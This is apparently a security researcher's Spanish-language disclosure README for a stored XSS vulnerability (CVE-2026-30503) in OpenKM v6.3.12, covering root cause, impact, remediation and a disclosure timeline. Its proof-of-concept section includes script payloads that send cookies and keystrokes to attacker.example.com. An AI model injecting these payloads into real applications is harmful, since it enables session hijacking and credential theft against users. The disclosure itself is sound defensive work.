
Divulgación detallada de CVE-2026-30503, una vulnerabilidad de XSS almacenado en OpenKM v6.3.12. Incluye análisis de causa raíz, cargas útiles PoC, evaluación del impacto y recomendaciones de remediación para investigadores de seguridad y pentesters.
Descubierto y reportado por Dharmendra Kumar — Investigador de Seguridad
Ciberseguridad | Pruebas de Penetración | Investigación de Vulnerabilidades | Divulgación Responsable
Este repositorio documenta la divulgación responsable de CVE-2026-30503, una vulnerabilidad de Cross-Site Scripting (XSS) Almacenado identificada en OpenKM v6.3.12, un sistema de gestión documental de código abierto ampliamente utilizado en entornos empresariales.
La vulnerabilidad permite a un atacante autenticado inyectar JavaScript malicioso persistente en la aplicación, que se ejecuta en el contexto del navegador de cualquier usuario (incluidos administradores) que posteriormente visualice el contenido afectado.
⚠️ Severidad: Alta | Vector de Ataque: Red | Privilegios Requeridos: Bajos | Interacción del Usuario: Requerida
OpenKM es un sistema de gestión documental (DMS) gratuito y de código abierto que proporciona una interfaz web para gestionar, auditar y distribuir documentos empresariales. Es utilizado por empresas, organismos gubernamentales e instituciones educativas a nivel global.
v6.3.12Se descubrieron múltiples vulnerabilidades de Cross-Site Scripting (XSS) Almacenado en OpenKM v6.3.12. Un atacante con acceso autenticado de bajos privilegios puede inyectar cargas útiles arbitrarias de JavaScript en uno o más campos de entrada. Estas cargas útiles se almacenan permanentemente en el backend de la aplicación y se ejecutan automáticamente cuando cualquier usuario —incluidos administradores— accede a la página o componente afectado.
A diferencia del XSS Reflejado, que requiere que la víctima haga clic en un enlace manipulado, las cargas útiles del XSS Almacenado están incrustadas en la propia aplicación, lo que las hace significativamente más peligrosas y persistentes.
La vulnerabilidad proviene de tres debilidades concurrentes en el pipeline de manejo de entrada de la aplicación:
Entrada del Usuario ──► [SIN Validación] ──► Almacenada en BD ──► [SIN Codificación de Salida] ──► Renderizada en Navegador ──► XSS Ejecutado
Una explotación exitosa de esta vulnerabilidad puede conllevar a:
⚠️ Aviso: Este PoC se comparte estrictamente con fines educativos y de investigación en seguridad bajo los principios de divulgación responsable. No utilice esto contra sistemas que no posea o para los que no tenga permiso explícito por escrito para realizar pruebas.
// PoC básico — demuestra la ejecución de script
<script>alert('CVE-2026-30503 - XSS por Dharmendra Kumar')</script>
// Exfiltración de token de sesión
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// Inyección de keylogger
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script>Esta vulnerabilidad se divulgó siguiendo las mejores prácticas de divulgación responsable, coordinando con el proveedor y el Programa CVE antes de la publicación pública.
Investigador de Seguridad | Probador de Penetración | Cazador de Bugs
Dharmendra Kumar es un investigador de ciberseguridad independiente especializado en seguridad de aplicaciones web, pruebas de penetración y divulgación responsable de vulnerabilidades. Con un enfoque en identificar fallos de seguridad del mundo real en software ampliamente utilizado, su trabajo contribuye a mejorar la postura de seguridad de las aplicaciones utilizadas globalmente.
Áreas de Especialización:
Conectar:
Este repositorio está destinado únicamente a fines educativos e informativos. Los detalles de la vulnerabilidad y las cargas útiles de prueba de concepto aquí compartidas se publican de acuerdo con los principios de divulgación responsable. El autor no aprueba, alienta ni se hace responsable de ningún uso no autorizado de esta información. Siempre obtenga permiso explícito por escrito antes de realizar pruebas de seguridad en cualquier sistema.
Agradecimientos especiales a:
⭐ Si esta investigación fue útil, considera darle una estrella a este repositorio.
© 2026 Dharmendra Kumar — Todos los derechos reservados
| Campo | Detalles |
|---|
| ID CVE | CVE-2026-30503 |
| Producto | OpenKM |
| Versión Afectada | v6.3.12 |
| Clase de Vulnerabilidad | Cross-Site Scripting Almacenado (XSS) |
| CWE | CWE-79: Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| Investigador | Dharmendra Kumar |
| Tipo de Divulgación | Responsable / Coordinada |
| Debilidad | Descripción |
|---|
| ❌ Falta de Validación de Entrada | La aplicación no restringe ni sanitiza caracteres especiales (<, >, ", ', ;) en campos proporcionados por el usuario |
| ❌ Falta de Codificación de Salida | Los valores almacenados se renderizan directamente en HTML sin codificación de entidades HTML |
| ❌ Renderizado DOM Inseguro | Los datos proporcionados por el usuario se incrustan en el contexto DOM sin CSP ni controles de sanitización |
| Riesgo | Descripción |
|---|
| 🍪 Secuestro de Sesión | Robar tokens de sesión autenticados mediante la exfiltración de document.cookie |
| 👤 Toma de Cuenta | Comprometer cuentas de víctimas, incluyendo cuentas de administrador |
| 🔐 Captura de Credenciales | Inyectar formularios de phishing para capturar credenciales de inicio de sesión |
| 📤 Exfiltración de Datos | Extraer silenciosamente documentos o metadatos sensibles del DMS |
| ⚙️ Acciones No Autorizadas | Realizar operaciones privilegiadas en nombre de la víctima (eliminar/modificar documentos) |
| 🎯 Apuntar a Administradores | La carga útil se ejecuta en el panel de administración cuando un administrador revisa contenido |
| 🔄 Propagación tipo Gusano | La carga útil XSS autorreplicante puede propagarse entre usuarios |
| Recomendación | Implementación |
|---|
| ✅ Validación de Entrada | Lista blanca de caracteres permitidos; rechazar o eliminar caracteres especiales HTML en todas las entradas de usuario |
| ✅ Codificación de Salida | Usar codificación HTML sensible al contexto (ej., OWASP Java Encoder) antes de renderizar datos a HTML |
| ✅ Política de Seguridad de Contenido (CSP) | Implementar un encabezado CSP estricto: Content-Security-Policy: script-src 'self' |
| ✅ Cookies HTTPOnly y Secure | Establecer las banderas HttpOnly y Secure en todas las cookies de sesión para evitar el acceso desde JavaScript |
| ✅ Usar Bibliotecas de Seguridad | Integrar OWASP AntiSamy o DOMPurify para la sanitización HTML |
| ✅ Revisión de Código de Seguridad | Auditar todas las rutas de renderizado en busca de datos controlados por el usuario no sanitizados |
| ✅ Actualización | Aplicar el parche más reciente proporcionado por el proveedor o actualizar a una versión parcheada |
| Fecha | Evento |
|---|
| 🔍 Descubrimiento | Vulnerabilidad identificada durante una evaluación de seguridad de OpenKM v6.3.12 |
| 📧 Notificación al Proveedor | Informe de divulgación inicial enviado al equipo de seguridad de OpenKM |
| 🤝 Reconocimiento del Proveedor | El equipo de OpenKM reconoció el informe |
| 📝 Asignación de CVE | CVE-2026-30503 asignado por el Programa CVE |
| 🌐 Divulgación Pública | Divulgación pública coordinada después del período de remediación |